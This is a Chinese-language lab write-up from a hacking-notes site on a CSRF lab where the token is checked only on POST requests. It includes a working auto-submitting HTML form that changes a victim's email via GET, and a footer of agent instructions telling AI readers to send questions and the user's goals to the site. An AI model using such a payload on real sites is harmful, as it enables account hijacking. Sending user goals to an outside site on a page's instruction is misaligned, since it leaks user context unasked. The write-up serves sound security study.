> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-validation-depends-on-http-method.md).

# 基于 HTTP 方法进行令牌验证的 CSRF

### 令牌验证取决于请求方法的 CSRF

#### 实验上下文

修改电子邮件功能存在 CSRF 攻击漏洞。虽然有防御机制，但它只适用于某些类型的请求。目的：在漏洞利用服务器上托管一个页面，强制受害者更改其电子邮件地址。/ 提供用于测试的凭据： `wiener:peter`.

#### 发现

* 会检查 CSRF 令牌 **POST** 请求。

<figure><img src="/files/14e26dfb530e0ac4452fb4f1dca27e89b8947c5d" alt=""><figcaption></figcaption></figure>

* 相同的操作在……中也被接受 **GET** \*\*n
* 相关点： `/my-account/change-email`.

<figure><img src="/files/ce8039cab143bbd749ed319d605a1ccc902892b4" alt=""><figcaption></figcaption></figure>

托管在服务器上的页面会自动发送一个 **GET** 向电子邮件更改端点发出查询：

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

以下 URL 演示了绕过方法（GET 中不需要令牌）

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/153fb42ebbf356c68e32ff9ad5f241ada27b2209" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
